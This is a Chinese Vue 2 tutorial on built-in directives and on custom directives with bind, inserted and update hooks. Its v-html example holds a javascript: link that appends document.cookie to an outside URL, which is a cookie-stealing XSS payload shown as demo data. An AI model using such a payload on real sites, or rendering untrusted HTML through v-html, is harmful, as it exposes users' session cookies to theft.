Vue(内置指令、自定义指令)

news/2024/10/17 6:32:29/

一、内置指令

1. v-text

和插值语法的效果类似

 <h2>{{name}}</h2><h2 v-text="name">此处v-text绑定的数据替换所有标签内内容</h2>
//vuedata: {name: "xlf",},

注意:不能识别标签数据

 <h2 v-text="name2">不会解析内容</h2>
//vuedata: {name2: "<h3>你好</h3>",},

2.v-html :解决了v-text不能识别标签语言的缺陷

和插值语法的效果类似

 <div id="root"><h2>{{name}}</h2><h2 v-html="name"></h2><div v-html="name2">解析结构内容</div><div v-html="str2"></div></div>
//vuedata: {name: "xlf",name2: "<h3>你好</h3>",str2: '<a href=javascript:location.href="http://www.baidu.com"+document.cookie>找到目标网址了</a>',},

 

3. v-clock

当vue引入在html和js脚本前面时候网络延迟会导致页面未解析就会出现在页面

第一种情况:vue引入在页面头部延迟会等待延迟之后再全部展示(js阻塞)

访问本地服务器比较快(没有延迟)

访问远程服务器比较慢(会有延迟)

同样可以通过chrome的开发者工具进行调整

 

 js阻塞:引入js插件,网页内容和脚本,然后插件有延时那么其他内容都不会展示

 

第二种情况:当vue引入在html-body最下面和脚本前面时候会出现

(先展示内容全部包含插值,当vue介入展示解析后的内容)

 

解决:上方脚本放在html-body下面先出现未解析问题

解决:指令语法:v-clock 配合css让延迟解析内容先不展示,当vue介入之后再展示并移除了v-clock

当网速过慢:禁止将未解析模板展示到页面

//css<style>[v-cloak] {display: none;}</style>
//html<div id="root"><h2 v-cloak>{{name}}</h2></div>
//引入插件<script src="../vue/vue.js"></script>
//vue解析
<script>Vue.config.production = false;const vm = new Vue({el: "#root",data: {name: "xlf",},});</script>

4.v-once

v-once所在节点初次动态渲染之后就是静态内容了

后面数据改变不会引起 v-once在结构的更新,可以用于优化性能

 <div id="root"><h2 v-once>初始化的n值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点击+1</button>
</div>
//vueconst vm = new Vue({el: "#root",data: {n: 1,},});

5.v-pre

跳过所在节点被编译,直接展示在页面中

可以利用此指令:跳过没有使用指令或插值语法的节点,加快编译

  <div id="root"><h2 v-pre>Vue很简单</h2><h2 v-once v-pre>初始化的n值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点击+1</button></div>
//vueconst vm = new Vue({el: "#root",data: {n: 1,},});

 

二、自定义指令 :需要亲自操作DOM指令

引出:定义一个v-big指令,和v-text指令类似,但是会把绑定的数值放大10倍

使用配置项:directive

  • 函数式(真实dom元素,绑定)

  • 当指令元素绑定成功之后就会调用big指令函数

  • 指令所在模板被重新解析时候会重新调用(不论其他数据更改就会解析模板,这时候重新调用指令函数)

  <div id="root"><h2>当前的n值是:<span v-text="n"></span></h2><!-- 注意此处不可以使用大写的命名和定义方式:使用-来拼接(当出现-拼接后就不可以使用对象名字简写模式) --><h2>放大十倍的n值是:<span v-big="n"></span></h2></div>
//vuedata: {n: 1,},directives: {// big函数何时会被调用?、// 1.指令元素成功绑定时候;// 2. 指令所在模板被重新解析时候会重新调用big(element, binding) {// console.log(element, binding);element.innerText = binding.value * 10;}
}

 

 

定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点:f标识focus焦点意思(表示既绑定数据,并在页面渲染时候出现焦点获取功能)

  • 对象形式:一般是用在获取焦点或者获取父元素(可以理解为钩子函数

  • 焦点获取会在元素与指令绑定成功后而不是绑定立即生效(所以需要细分自定义指令的步骤划分:绑定时候、插入页面时候,更新时候

 <div id="root"><h2>放大十倍的n值是:<span v-big-number="n"></span></h2><button @click="n++">点击+1</button><hr /><input type="text" v-fbind:value="n" /></div>
//vuedata: {n: 1,},directives: {// 注意自定义指令使用的名字也是对象字符串"big-number"(element, binding) {element.innerText = binding.value * 10;console.log("big", this);//注意此处的this属于(window:所有指令的this指向都是window)},// 对象写法:获取焦点,拿到父元素(理解为钩子)// 焦点获取时候会在元素与指令绑定成功后而不是绑定立即生效fbind: {// 绑定时候调用:可以写样式、value值等bind(element, binding) {element.value = binding.value;console.log("fbind-bind", this);},// 插入页面时候调用inserted(element, binding) {element.focus();console.log("fbind-inserted", this);},// 指令所在模板重新解析时候update(element, binding) {console.log("fbind-update", this);// 绑定元素valueelement.value = binding.value;// element.focus();},},},

 

 这里input内还可以在更新数据的时候获取焦点,那就是在updat中添加焦点获取方法,可以通过以上代码查看


http://www.ppmy.cn/news/55635.html

相关文章

【高危】泛微 e-cology <10.57 存在 SQL注入漏洞(POC)(MPS-ndqt-0im5)

漏洞描述 泛微协同管理应用平台(e-cology)是一套企业大型协同管理平台。 泛微 e-cology 受影响版本存在SQL注入漏洞&#xff0c;未经授权的远程攻击者可通过发送特殊的HTTP请求来获取数据库的敏感信息。 漏洞名称GeoServer 存在 sql 注入漏洞漏洞类型SQL注入发现时间2023/4/…

Cadence(2):向导制作PCB封装

前提&#xff1a;软件版本 焊盘设计 &#xff1a;Pad Designer16.6PCB设计 &#xff1a;PCB Editor16.6 文章目录 LQFP64向导封装制作封装信息SMD焊盘制作添加焊盘库到PCB Editor新建工程LQFP64向导制作流程后续处理修改栅格大小。贴加1脚标识修改丝印线 总结 LQFP64向导封装制…

锅炉燃烧自动控制系统

串级控制 以外环温度、内环煤气流量为例 重点1 主PID输出0~100需要经过线性转换模块进行转换&#xff0c;转换成与煤气流量相同量纲才能作为副PID的设定值。假设煤气流量量程100000&#xff1b;则副PID设定值如下&#xff1a; secSET mainLMN100100000&#xff1b; 重点2 …

【牛客网】迷宫问题与年终奖

目录 一、编程题 1.迷宫问题 2.年终奖 二、选择题 1、将N条长度均为M的有序链表进行合并&#xff0c;合并以后的链表也保持有序&#xff0c;时间复杂度为()? 2、大小为MAX的循环队列中&#xff0c;f为当前对头元素位置&#xff0c;r为当前队尾元素位置(最后一个元素的位…

android10 关闭默认输入法的“更正建议”

1. 场景 使用系统默认的输入法&#xff0c;在进行输入时&#xff0c;在输入法上方&#xff0c;会显示更正建议列表&#xff0c;同时会干扰我们的输入内容&#xff1a;会自动补全到输入框&#xff0c;而且删除不掉&#xff0c;甚至越删越多&#xff0c;非常讨厌。 如下&#x…

科研闭环指南|学术论文撰写经验总结

前言&#xff1a;最近完成了自己人生中第一篇学术论文长文的撰写&#xff0c;从2023年4月12日完成初稿到2023年4月30日完成终稿这半个多月的时间里&#xff0c;在多位老师与师兄的帮助下&#xff0c;前前后后改了六七个版本&#xff0c;才改到大致满意的最终版&#xff08;在此…

7.6 密码设置与安全性分析(project)(安全意识)

目录 第1关 随机生成一个n位密码 第2关 将随机生成的n位密码MD5加密 第3关 生成黑客密码字典 第4关 模拟碰撞破解MD5密码 第5关 检查密码是否泄漏 第1关 随机生成一个n位密码 本关任务&#xff1a;编写一个能随机生成一个n位密码的小程序。 1pass01.txt 1pass02.txt 1pas…

【react从入门到精通】深入理解React生命周期

文章目录 前言React技能树React的生命周期是什么React v16.0前的生命周期组件初始化(initialization)阶段组件挂载(Mounting)阶段组件更新(update)阶段组件销毁阶段 React v16.4 的生命周期总结写在最后 前言 在上一篇文章《react入门这一篇就够了》中我们已经掌握了React的基本…